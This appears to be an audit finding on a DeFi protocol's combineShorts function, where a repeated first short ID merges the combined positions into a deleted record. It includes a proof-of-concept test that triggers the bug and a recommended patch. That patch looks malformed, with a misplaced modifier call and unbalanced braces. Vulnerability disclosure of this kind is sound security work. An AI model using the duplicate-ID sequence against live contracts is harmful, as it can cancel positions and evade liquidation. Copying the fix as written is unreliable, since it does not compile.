Summary
The protocol allows the merging of multiple short positions into one, provided the combined short maintains a healthy ratio. A known issue, "M-06 duplicate inputs," states that the use of of duplicate shorts is averted as shorts are deleted once combined, however it misses a sequence that can potentially bypass this preventive measure, leading to unintended or malicious cancellations of active orders and disruptions in protocol accounting.
Vulnerability Details
The vulnerability resides in the combineShorts
function, which initiates by validating the first short:
function combineShorts(address asset, uint8[] memory ids)
external
isNotFrozen(asset)
nonReentrant
onlyValidShortRecord(asset, msg.sender, ids[0])
{
Subsequent to the initial validation, a loop validates the remaining shorts and commences the combination process:
address _asset = asset;
uint88 collateral;
uint88 ercDebt;
uint256 yield;
uint256 ercDebtSocialized;
for (uint256 i = ids.length - 1; i > 0; i--) {
uint8 _id = ids[i];
_onlyValidShortRecord(_asset, msg.sender, _id);
STypes.ShortRecord storage currentShort =
s.shortRecords[_asset][msg.sender][_id];
if (!c.shortFlagExists) {
if (currentShort.flaggerId != 0) {
c.shortFlagExists = true;
}
}
Finally, the merging of the shorts is performed:
firstShort.merge(ercDebt, ercDebtSocialized, collateral, yield, c.shortUpdatedAt);
The loophole emerges when the first short is repeated later down the array. This short is initially checked by onlyValidShortRecord(asset, msg.sender, ids[0]), it will then be combined in the loop and deleted, however the first shot is not checked again so we end up merging the total to a deleted short.
Click to expand Proof of Concept
function testCombineDupShort() public {
for (uint256 i; i < 3; i++) {
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
}
uint8[] memory shortIds = new uint8[](4);
shortIds[0] = Constants.SHORT_STARTING_ID;
shortIds[1] = Constants.SHORT_STARTING_ID + 1;
shortIds[2] = Constants.SHORT_STARTING_ID + 2;
shortIds[3] = Constants.SHORT_STARTING_ID;
vm.prank(sender);
diamond.combineShorts(asset, shortIds);
STypes.ShortRecord memory shortRecord = getShortRecord(sender, Constants.SHORT_STARTING_ID);
assertTrue(shortRecord.status == SR.Cancelled);
}
Impact
This has two significant impacts on the protocol:
If executed accidentally a user will lose all combined shorts.
If executed maliciously, let's say the short is worth close to nothing, a user could reset the flag as this double counts the repeated short. The short is then cancelled and can't be liquidated.
Both scenarios will also disrupt protocol accounting as the values are not correctly accounted for.
Tools Used
Recommendations
To fix this, the validation of the first short should be conducted post the loop execution or integrated within another validation checkpoint post-loop.
function combineShorts(address asset, uint8[] memory ids)
external
isNotFrozen(asset)
nonReentrant
onlyValidShortRecord(asset, msg.sender, ids[0])
{
address _asset = asset;
uint88 collateral;
uint88 ercDebt;
uint256 yield;
uint256 ercDebtSocialized;
for (uint256 i = ids.length - 1; i > 0; i--) {
uint8 _id = ids[i];
_onlyValidShortRecord(_asset, msg.sender, _id);
STypes.ShortRecord storage currentShort =
s.shortRecords[_asset][msg.sender][_id];
if (!c.shortFlagExists) {
if (currentShort.flaggerId != 0) {
c.shortFlagExists = true;
}
}
onlyValidShortRecord(asset, msg.sender, ids[0])
firstShort.merge(ercDebt, ercDebtSocialized, collateral, yield, c.shortUpdatedAt);
if (c.shortFlagExists) {
if (
firstShort.getCollateralRatioSpotPrice(
LibOracle.getSavedOrSpotOraclePrice(_asset)
) < LibAsset.primaryLiquidationCR(_asset)
) revert Errors.InsufficientCollateral();
firstShort.resetFlag();
}
emit Events.CombineShorts(asset, msg.sender, ids);
}
}